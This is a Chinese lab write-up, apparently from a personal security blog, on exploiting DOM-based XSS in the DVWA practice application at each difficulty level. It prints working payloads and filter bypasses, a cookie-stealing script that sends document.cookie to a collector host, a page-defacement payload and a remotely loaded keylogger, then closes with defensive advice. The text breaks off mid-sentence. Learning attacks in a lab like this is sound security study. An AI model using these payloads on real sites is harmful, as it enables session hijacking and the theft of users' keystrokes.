下了个新版的DVWA看了下,发现新增了好几个Web漏洞类型,就玩一下顺便做下笔记,完善一下之前那篇很水的DOM XSS文章,虽然这个也很水 :)

基本概念

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞,其触发不需要经过服务器端,也就是说,服务端的防御并不起作用。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

可能触发DOM型XSS的属性

document.referer属性

window.name属性

location属性

innerHTML属性

documen.write属性

······

Low级别

点击正常功能观察:

查看页面源码,可以看到以下框中的JS代码,从URL栏中获取default参数的值,这里是通过获取“default=”后面的字符串来实现的,然后直接写到option标签中,并没有对特殊字符进行任何的过滤:

可以明确,这是由document.write属性造成的DOM型XSS漏洞。

因为这段JS代码是本地执行的,获取本地输入的URL栏上的default参数再直接嵌入到option标签中的,因而可以直接往default参数注入XSS payload即可:

1
<script>alert(document.cookie)</script>

检测元素,可以看到是通过JS在本地动态执行嵌入了script标签:

若要尝试使用其他XSS payload,如img、svg等标签,因为select标签内只允许内嵌option标签,而option标签中能内嵌script标签但不能内嵌img等标签,因此需要在注入时先闭合option和select标签从而使注入的标签逃逸出来执行XSS:

1
</option></select><img src=x onerror=alert("SKI12")>

最后查看源码,没有做任何防御:

Medium级别

先尝试payload:

1
<script>alert(document.cookie)</script>

发现会重定向到English选项页面。

推测可能是对script字符串进行了过滤,因此进行重复内嵌或大小写组合等方式尝试绕过:

1
2
<scri<script>pt>alert(document.cookie)</sc</script>ript>
<scRIpt>alert(document.cookie)</sCRIPT>

然而发现也是会重定向到English选项页面。

应该是对script标签进行了比较严格的过滤,

换个标签类型的payload(注意要闭合前面的标签如low级所说):

1
</option></select><svg/onload=alert(document.cookie)>

弹框成功:

因此可以推测,后台代码只是对script标签进行了有效的过滤,而对于其他标签则未进行过滤。

最后查看源码,发现只对script标签进行了过滤,过滤方式是调用stripos()函数获取“\<script”字符串出现在参数的哪个位置(不区分大小写),因此重复内嵌和大小写等方式无法绕过该过滤机制:

High级别

经过一系列XSS payload的尝试,没有成功 : (

没办法,看下源码吧:

发现已经白名单写死了,推测是不是存在某种截断可以使得XSS得以注入弹框。

试了一会并未成功,无奈查看一下help提示:

The developer is now white listing only the allowed languages, you must find a way to run your code without it going to the server.

Spoiler: The fragment section of a URL (anything after the # symbol) does not get sent to the server and so cannot be blocked. The bad JavaScript being used to render the page reads the content from it when creating the page.

大概意思就是,需要找一种方法在本地运行你的JS代码而无需经过服务器端的处理。这里提供的一种方法就是,应用#号,URL栏的#号之后的内容并不会发送至服务器端,JS应用该符号实现在页面创建加载过程中定向到指定的页面内容上。

试一下在白名单字符串后添加#号的payload,刚输入进去是无反应的,需要刷新一下触发JS中#号的作用才能弹框:

1
English#</option></select><BODY ONLOAD=alert(document.cookie)>

Impossible级别

直接看源码吧:

说是服务器端不需要做任何防御措施,防御的关键在于客户端上。

查看help怎么说:

The contents taken from the URL are encoded by default by most browsers which prevents any injected JavaScript from being executed.

大致就是,大多数浏览器默认都对从URL中获取的内容进行编码,以防止JS代码注入执行。

回到xss dom的index.php中可以看到,对于impossible级别来说,在JS代码document.write()中调用的decodeURI()是个空函数,即并不会对URL输入进行URL编码过的内容再进行URL解码从而杜绝了DOM型XSS:

测试一下,注入payload,发现确实没有进行URL解码:

漏洞利用

和之前写的《关于DOM型XSS漏洞的学习笔记》一样,将其重复整理到一起吧。

测试的level是low,其他level同理。

窃取cookie——createElement()

利用JS的document.createElement()创建新标签如img并将cookie信息通过img标签src属性来请求发往目标主机,payload如下:

1
/xss_d/?default=<script>var img=document.createElement("img");img.src="http://127.0.0.1:8000/a?"+escape(document.cookie);</script>

篡改页面——innerHTML

主要用于篡改页面,payload如下:

1
/xss_d/?default=<script>document.body.innerHTML="<div style=visibility:visible;><h1>DOM XSS By SKI12</h1></div>";</script>

键盘记录——document.onkeypress

利用document.onkeypress可实现键盘记录。

keylogger.js

放置于攻击者的服务器中,让目标服务器注入XSS后来访问执行。

keylogger.php

放置于攻击者的服务器中,用于接收目标服务器访问执行了keylogger.js后传送回来的用户输入的键盘信息,并保存在本地文件中。

payload:

1
/xss_d/?default=<script src="http://127.0.0.1/keylogger.js"></script>

此时用户在该Web界面输入的任何内容都会实时保存到keylog.txt中:

防御

DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。其防御在于:

(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;

(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到\